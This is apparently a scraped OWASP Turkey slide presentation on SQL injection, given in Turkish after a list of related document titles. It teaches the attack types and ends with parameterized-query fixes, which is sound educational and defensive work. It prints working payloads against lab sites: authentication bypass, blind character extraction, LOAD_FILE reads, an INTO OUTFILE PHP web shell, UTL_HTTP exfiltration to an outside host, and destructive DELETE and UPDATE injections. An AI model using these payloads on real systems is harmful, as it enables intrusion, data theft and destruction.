Her Yönüyle SQL Enjeksiyonu. OWASP-Türkiye Bünyamin Demir



Benzer belgeler
MySqlConnection connection; MySqlCommand command; MySqlDataReader reader; MySqlDataAdapter adapter; DataTable table;

Bölüm 10: PHP ile Veritabanı Uygulamaları

JDBC kütüphanesi, her görev için genellikle veritabanı kullanımı ile ilişkili API leri içerir:

NETBEANS GUI İLE MS SQL İŞLEMLERİ

MOBİL UYGULAMA GELİŞTİRME

Tanımı Problemi 46 Şüpheci Yaklaşım 47 Tamsayı Taşması (Integer Overflow) 47 Tamsayı Taşması Java Uygulaması 48

LIKE Where operatörlerinden biridir. Bir sütunda belirlenen peterne uygun arama yapar. SELECT sutun FROM tablo WHERE sutun LIKE patern;

SQL veri tabalarına erişmek ve onları kullanmak için geliştirilmiş bir lisandır.

SQL INJECTION. Mehmet TUNCER.

DERECESİ: ARANAN ŞARTLAR: İLAN TARİHİ:

Veri Tabanı SQL Server ve Management Studio kurulum linkleri:

Veritabanına Giriş. Oğuzhan Ceylan. 19 Eylül 2011

ASP.NET CLASS KULLANARAK VERİTABANI İŞLEMLERİ

Upgrading Internet Technology skills of Information and Communication Technologies (ICT) Professionals

BLM401 Mobil Cihazlar için ANDROID İşletim Sistemi. SQLite Veritabanı. BLM401 Dr.Refik SAMET

Yazılım Nedir? 2. Yazılımın Tarihçesi 3. Yazılım Grupları 4 Sistem Yazılımları 4 Kullanıcı Yazılımları 5. Yazılımın Önemi 6

Yukarıdakilerden hangileri DML (Data Manipulation Language) ile gerçekleştirilir?

Genel Kavramlar. Bilgisayar ortamında işlenebilecek durumda bulunan kayıtlar. Birbiri ile ilişkili veriler topluluğu ve veriler arası ilişkiler

20461C Querying Microsoft SQL Server Modül Seviye Belirleme Testi

Microsoft SQL Server Sorgulama

Swing ve JDBC ile Database Erişimi

Virtualmin'e Yeni Web Sitesi Host Etmek - Domain Eklemek

Bilgisayar Uygulamaları. MySql

LINQ Language Integrated Query Dille Bütünleştirilmiş Sorgu Bir Veri Tabanı Tablosundan Veri Gösterme

ACCESS PLATFORMUNDA SQL

Maltepe Üniversitesi Bilgisayar Mühendisliği Bölümü Veri Tabanı ve Yönetimi (BİL 301)

Veritabanı İşlemleri

ORT3167 İnternet Programcılığı 1 Ders1-2. Öğr. Grv. Aybike ŞİMŞEK

HP Yazılım Zirvesi - İstanbul 20 May Wyndham Grand Levent Erdem Alaşehir / Finansbank Güvenlik Olay Korelasyonunda Büyük Veri Kullanımı

İlk Konsol Uygulamamız 2 İlk Windows Uygulamamız 9.Net Framework Yapısı 18 Neler Öğrendik 19. Veri Tipleri 24 Tanımlı Veri Tipleri 27 Basit Tipler 28

VERİ TABANI YÖNETİM SİSTEMLERİ-II

C#.Net & Linq (Language Integrated Query)

Hiyerarşik Yazılım Tasarımı Kavramı

SQL'e Giriş. SELECT Deyimi. SQL Komutları. Yardımcı Deyimler

Maltepe Üniversitesi Endüstri Mühendisliği Bölümü Veri Tabanı Yönetimi (END 210)

VERİTABANI Veritabanı Yönetimi

EBE-368 Veri Tabanı Yönetim Sistemleri SQL

Web Uygulama Pentest Eğitimi

BAY.t Entegre. Aşağıdaki script fiyat gör programının ayarlar sayfasındaki sorgu cümlesi alanına yapıştırılıp Sorguyu Db ye Yükle tıklanır

NoSql ve MongoDB. Saygın Topatan

Veri Tabanı-I 1.Hafta

Veri Tabanı Programlamaya Giriş

İleri Web Programlama

İLERİ VERİTABANI SİSTEMLERİ SUAT ÜSTKAN

05 - Veritabanı Sızma Testleri

License. Veri Tabanı Sistemleri. Konular. Uygulama Geliştirme Veri Tabanı Arayüzleri. uygulama kodunda veri işlemleri nasıl yapılacak?

PHP+Memory Cache+PostgreSQL Kullanarak Performanslı Veritabanı Uygulaması Geliştirme

BLIND SQL INJECTION SALDIRILARI

Özgür Uygulamalar ile Web Güvenliği. The OWASP

«BM364» Veritabanı Uygulamaları

CODEIGNITER SEMINERI KÜTÜPHANE YAZMA GÜVENLIK ÖNLEMLERI CODEIGNITER 2.0

SELÇUK ÜNİVERSİTESİ BOZKIR MESLEK YÜKSEKOKULU VERİTABANI-II DERSİ FİNAL SINAVI

Bu işleçlerin dışında, aşağıda belirtilen karşılaştırma işleçlerinden de yararlanılır.

Tavsiye Edilen Önhazırlık Temel veritabanı kavramlar hakkında bilgi sahibi olmak. Hedefler Temel veritabanı güvenlik işlemlerini gerçekleştirebilmek

Veritabanı Yönetim Sistemleri (Başarım Eniyileme Performance Tuning)

Unutulmuş Özellikler: Oracle Veritabanına Yaptığınız Yatırımı Sonuna Kadar Kullanın

Veritabanı Sızma Testleri Türk Standardları Enstitüsü Yazılım Test ve Belgelendirme Dairesi Başkanlığı

SQL'e Giriş. SELECT Deyimi. SQL Komutları. 1. DDL (Data Definition Language - Veri Tanımlama Dili)

Oracle Database 11g: Introduction to SQL

ELIF KIOTZEOGLOU RESUL MURAD MERT PACOLARI

Fırat Üniversitesi Personel Bilgi Sistemi Penetrasyon(Sızma) Testi

Birden Çok Tabloda Sorgulama (Join)

Command Nesnelerini Kullanarak Tablolarda Değişiklik Yapmak:

Resmin dosya adı tutulacaktır. Ve program yolu ile path(yolu ile) sayafaya eklenecektir.

Php Programlama Dili MySQL Uygulamaları

VERİTABANI. SQL (Structured Query Language)

8 Oracle da tablo yapısı içinde otomatik artan kolon yoktur. (identity kolon

İNTERNET TABANLI PROGRAMLAMA- 12.ders

DAO İLE SQL KOMUTLARI. Sql komutlarını artık veri tabanında kullanmaktan başka çaremiz yok arkadaşlar. Şimdi bu sql derslerimize başlayalım.

Sadece 2 İstekle MySQL Blind SQL Injection. Canberk BOLAT canberk.bolat[-at-]gmail[-dot-]com

Ders Tanıtım Sunumu. Database Managegement II. Elbistan Meslek Yüksek Okulu Güz Yarıyılı. Öğr. Gör. Murat KEÇECĠOĞLU

Veri Tabanı ve Yönetimi

Emrah UYSAL 1

İÇİNDEKİLER. İçindekiler. Web Uygulama Güvenliği Örnek Kaynak Kod Analizi

WEB UYGULAMA GÜVENLİĞİ HAKKINDA. Mesut Güngör İzmir Yüksek Teknoloji Enstitüsü Bilgi İşlem Daire Başkanlığı

VeriTabanı Uygulamaları

Oracle da kullanılan veri tipleri:

Laboratuar Notları #5

PostgreSQL Veritabanı Sunucusu. 8.2 neler getiriyor?

SQL e Giriş. Uzm. Murat YAZICI

İNTERNET TABANLI PROGRAMLAMA- 8.ders VERİTABANI İLE İLGİLİ BİLGİLERİ GÖRÜNTÜLEME, KAYDETME, GÜNCELLEME VE SİLME

Bölüm 3: DML Veri İşleme Dili

Başlangıç 2. Generic İfadeler 3. Arayüzler (Interfaces) 5. LINQ ile Sık Kullanılan Arayüzler 7. Koleksiyon Sınıfları 14

Veritabanı Tasarımı. Büyük/Küçük Harf ve Karakter İşleme

Sorgudan elde edilen değerin değişkenlere aktarılmasını sağlar. Sorgudan tek satır dönmesi gerekir. Çok satır dönerse hata verir.

ORM & Hibernate. Ahmet Demirelli. SCJP 5.0, SCWCD 1.4 ahmetdemirelli@sabanciuniv.edu

VERİ TABANI İŞLEMLERİ (NESNE TABANLI PROGRAMLAMA TEKNİĞİ İLE)

PostgreSQL ve PL/pgSQL

Mysql Veritabanı Komutları

Kullanıldığı Başlıca Siteler

İNTERNET TABANLI PROGRAMLAMA- 10.ders GRIDVIEW İÇERİSİNDE YENİ KAYIT EKLEME, FOTOGRAF LİSTELEME, SIRALAMA YAPMA VE DROPDOWN EKLEME

Veri Tabanı Yönetimi Lab#9

T.C GAZİ ÜNİVERSİTESİ BİLİŞİM ENSTİTÜSÜ YÖNETİM BİLİŞİM SİSTEMLERİ ANA BİLİM DALI MS SQL KOMUTLARI VE MS SQL KOMUTLARI İLE İLGİLİ UYGULAMALAR

İNTERNET PROGRAMCILIĞI HAFTA. MYSQL ile VERİTABANI İŞLEMLERİ - 1. Hazırlayan Fatih BALAMAN. İçindekiler. Hedefler. Veritabanı Oluşturma, Silme

Veri Tabanı-I 1.Hafta

Yılmaz Erdogan Yazılım Uzmanı

Android Database SQLLite

Cybersoft Bilişim Teknolojileri Sunucu Tarafı Programlaması Kursu Final soruları. Tarih: 27 Kasım 2010 Saat: 13:30 Süre: 3 saat

SPSS (Statistical Package for Social Sciences)

Transkript:

Her Yönüyle SQL Enjeksiyonu OWASP-Türkiye Bünyamin Demir

Bünyamin Demir ( @bunyamindemir ) OWASP Türkiye Bölüm Lideri Founder & CTO @ Enforsec Ltd. Sızma Testleri Uzmanı Web, Mobil, Network, SCADA, Wireless, Sosyal Mühendislik, ATM, DoS/DDoS ve Yük testi Kaynak kod analizi Eğitmen Web/Mobil Uygulama Güvenlik Denetimi Güvenli Kod Geliştirme Veritabanı Güvenliği 2

SQL Enjeksiyonu ' 3

SQL Enjeksiyonu uygulamalara, güvenilir olmayan kaynaklardan gelen girdilerin kontrol edilmeden SQL sorgusunu oluşturan cümlecik içerisinde kullanılmasından kaynaklanmaktadır. 4

Zafiyet Barındıran Örnek Uygulamalar Bana öğrencilerini getir. Bana 5A öğrencilerini getir. Bana 5A veya 5B öğrencilerini getir. 5

Zafiyet Barındıran Örnek Uygulamalar... String classname = request.getparameter("class"); String query = "SELECT * FROM students WHERE class = '" + classname + "'"; ResultSet rs = stmt.execute(query);...... string classname = class.text; string query = "SELECT * FROM students WHERE class = '" + classname + "'"; sda = new SqlDataAdapter(query, conn); DataTable dt = new DataTable(); sda.fill(dt);...... $classname = $_GET['class']; $query = "SELECT * FROM students WHERE class= '$classname'"; $result = mysql_query($query);... 6

SQL in Çalışması 7

SQL Enjeksiyonu Çeşitleri Genel SQL Enjeksiyonu Union Tabanlı (Union Based) SQL Enjeksiyonu Hata Tabanlı (Error Based) SQL Enjeksiyonu Kör (Blind) SQL Enjeksiyonu Zaman Tabanlı (Time Based) SQL Enjeksiyonu 8

Genel SQL Enjeksiyonu http://www.okul.loc/ogrencilistele.aspx?class=1 SELECT name, lastname, no FROM student WHERE class= 1 9

Genel SQL Enjeksiyonu http://www.okul.loc/ogrencilistele.aspx?class=1' or '1'='1 SELECT name, lastname, no FROM student WHERE class= 1 or 1 = 1 10

Genel SQL Enjeksiyonu 11

UNION Tabanlı SQL Enjeksiyonu SELECT column1,column2 FROM table1 UNION SELECT column1,column2 FROM table2 UNION iki tabloyu birleştirir ve tüm kayıtlar tekil olacak şekilde listeler; SELECT column1,column2 FROM table1 UNION ALL SELECT column1,column2 FROM table2 UNION ALL ise iki tabloyu birleştirir ve tüm kayıtları tekil olmayacak şekilde (aynı kayıttan birden fazla görme ihtimaliniz var) listeler. 12

UNION Tabanlı SQLi - Tespiti Veritabanı MSSQL Oracle MySQL MS Access Hata Mesajı All queries combined using a UNION, INTERSECT or EXCEPT operator must have an equal number of expressions in their target lists. ORA-01789: query block has incorrect number of result columns. The used SELECT statements have a different number of columns. The number of columns in the two selected tables or queries of a union query do not match. 13

UNION Tabanlı SQLi - ORDER SELECT * FROM kullanici ORDER BY 1 SELECT * FROM kullanici ORDER BY 2 Veritabanı Hata Mesajı MSSQL The ORDER BY position number NUM is out of range of the number of items in the select list. Oracle ORA-01785: ORDER BY item must be the number of a SELECT-list expression. MySQL Unknown column 'NUM' in 'order clause'. MS Access Microsoft Jet database engine does not recognize '4' as a valid field name or expression. 14

UNION Tabanlı SQLi - Tespiti http://www.okul.loc/ogrencilistele.aspx?class=1 15

UNION Tabanlı SQLi - Tespiti http://www.okul.loc/ogrencilistele.aspx?class=1' UNION SELECT null,null,null,null,null-- 16

UNION Tabanlı SQLi - Tespiti http://www.okul.loc/ogrencilistele.aspx?class=1' UNION SELECT 1,2,'test',null,null-- 17

UNION Tabanlı SQLi - Tespiti http://www.okul.loc/ogrencilistele.aspx?class=1' UNION SELECT 1,2,@@version,null,null 18

Hata Tabanlı (Error Based) SQL Enjeksiyonu 19

Hata Tabanlı (Error Based) SQL Enjeksiyonu 20

Hata Tabanlı (Error Based) SQL Enjeksiyonu 21

Hata Tabanlı (Error Based) SQL Enjeksiyonu 22

Hata Tabanlı (Error Based) SQL Enjeksiyonu 23

Kör (Blind) SQL Enjeksiyonu http://www.davshan.loc/friend_info.php?fid=2 SELECT * FROM friends WHERE fid=2 24

Kör (Blind) SQL Enjeksiyonu http://www.davshan.loc/friend_info.php?fid=2 AND 1=1 SELECT * FROM friends WHERE fid=2 AND 1=1 http://www.davshan.loc/friend_info.php?fid=2 AND 1=2 SELECT * FROM friends WHERE fid=2 AND 1=2 25

Kör (Blind) SQL Enjeksiyonu... $stmt = $mysqli->prepare("select F.*,U.* FROM users U INNER JOIN friends F ON (F.friend_id=U.user_id) WHERE F.friend_id=$this->friend_id AND F.user_id=? AND F.verify=1"); $stmt->bind_param('i',$this->user_id); $stmt->execute();... 26

Kör (Blind) SQL Enjeksiyonu İstismarı Sorgu Çıktı Yorum SELECT database() davshan Veritabanı ismi SELECT SUBSTRING((SELECT database()),1,1) d Veritabanı isminin ilk karakteri SELECT ASCII(SUBSTRING((SELECT database()),1,1)) 100 Veritabanı isminin ilk karakterinin ASCII değeri 27

Kör (Blind) SQL Enjeksiyonu İstismarı http://www.davshan.loc/friend_info.php?fid=2 AND ASCII(SUBSTRING((SELECT database()),1,1))=97 28

Kör (Blind) SQL Enjeksiyonu İstismarı http://www.davshan.loc/friend_info.php?fid=2 AND ASCII(SUBSTRING((SELECT database()),1,1))=98 http://www.davshan.loc/friend_info.php?fid=2 AND ASCII(SUBSTRING((SELECT database()),1,1))=99 http://www.davshan.loc/friend_info.php?fid=2 AND ASCII(SUBSTRING((SELECT database()),1,1))=100 29

Kör (Blind) SQL Enjeksiyonu İstismarı http://www.davshan.loc/friend_info.php?fid=2 AND ASCII(SUBSTRING((SELECT database()),2,1))=97 30

Zaman Tabanlı (Time Based) SQL Enjeksiyonu 31

Farklı SQL İfadelerinde SQLi INSERT Cümleciği 35

Farklı SQL İfadelerinde SQLi INSERT Cümleciği 36

Farklı SQL İfadelerinde SQLi INSERT Cümleciği 37

Farklı SQL İfadelerinde SQLi UPDATE Cümleciği UPDATE CREDITCARD SET NAME=' +name+ ' WHERE USERID=1 a'-- UPDATE CREDITCARD SET NAME='a'-- WHERE USERID=1 38

Farklı SQL İfadelerinde SQLi DELETE Cümleciği http://www.minishop.loc/creditcard?cmd=delete&cardid=29 DELETE FROM CREDITCARD WHERE USERID=1 AND CARDID="+cardid+" http://www.minishop.loc/creditcard?cmd=delete&cardid=29 or 1=1 DELETE FROM CREDITCARD WHERE USERID=1 AND CARDID=29 or 1=1 39

İleri Seviye SQLi İşletim Sistemi http://www.davshan.loc/friend_info.php?fid=2 40

İleri Seviye SQLi İşletim Sistemi /friend_info.php?fid=2 and 1=2 UNION ALL SELECT 1,2,LOAD_FILE('c:/windows/win.ini'),3,4,5,6-- 41

İleri Seviye SQLi İşletim Sistemi http://www.davshan.loc/friend_info.php?fid=2 and 1=2 UNION ALL SELECT 1,2,3,4,5,6,"<pre><?php passthru($_get['cmd'])?></pre>" INTO OUTFILE "C:/wamp/www/davshan/cmd.php"-- 42

İleri Seviye SQLi İşletim Sistemi http://www.davshan.loc/cmd.php?cmd=systeminfo 43

İleri Seviye SQLi Kanal Dışı SELECT UTL_HTTP.REQUEST('http://www.bunyamindemir.com/') FROM dual /product?pid=1 or 1=UTL_HTTP.REQUEST('http://www.bunyamindemir.com/oracle/' (select user from dual))-- 171.42.19.32 - - [07/Sep/2012:00:39:54 +0300] "GET /oracle/minishop HTTP/1.1" 404 - "-" 44

İleri Seviye SQLi İkinci Kademe abc;delete FROM teslimat-- 45

Fonksiyonaliteye SQLi ile Saldırı Login Sayfası public Users login (String username, String password) { Users user = new Users();... ResultSet rs = stmt.executequery("select * FROM users WHERE username='"+username+"' and password='"+password+"'"); while (rs.next()) { user = new Users(rs.getInt("userId"),UserType.USER,rs.getString("username")); }... return user; } 46

Fonksiyonaliteye SQLi ile Saldırı Login Sayfası SELECT * FROM users WHERE username='a' or '1'='1'--' and password='xx' 47

Fonksiyonaliteye SQLi ile Saldırı Login Sayfası SELECT * FROM users WHERE username='a' or '1'='1' and rownum=1--' and password='xx' 48

Fonksiyonaliteye SQLi ile Saldırı Login Sayfası SELECT email, password FROM users WHERE email = 'bunyamindemir@gmail.com' a';update users SET email = 'saldirgan@abc.com' WHERE email = bunyamindemir@gmail.com SELECT email, password FROM users WHERE email = 'a';update users SET email = 'saldirgan@site.com' WHERE email = 'bunyamindemir@gmail.com' 49

Fonksiyonaliteye SQLi ile Saldırı Login Sayfası SELECT email, password FROM users WHERE email = 'bunyamindemir@gmail.com' bedirhan@abc.com' UNION SELECT 'bunyamin@abc.com',password from users-- SELECT email, password FROM users WHERE email = 'bedirhan@abc.com' UNION SELECT 'bunyamin@abc.com', password from users 50

Sqlmap python sqlmap.py -u "http://www.minishop.loc/product?pid=1" -f --banner 51

SQLi Çözümü - Java... String classname = request.getparameter("class"); PreparedStatement psmt = conn.preparestatement("select * FROM students WHERE class=?"); psmt.setstring(1, classname); ResultSet rs = psmt.executequery();... 52

SQLi Çözümü ASP.NET... string classname = class.text; SqlCommand query = new SqlCommand("SELECT * FROM students WHERE class=@clsname", conn); query.parameters.addwithvalue("@clsname", classname); sda = new SqlDataAdapter(query); DataTable dt = new DataTable(); sda.fill(dt);... 53

SQLi Çözümü - PHP... $classname = $_GET['class']; $stmt = $mysqli->prepare("select * FROM students WHERE class=?"); $stmt->bind_param('s',$classnames); $stmt->execute();... 54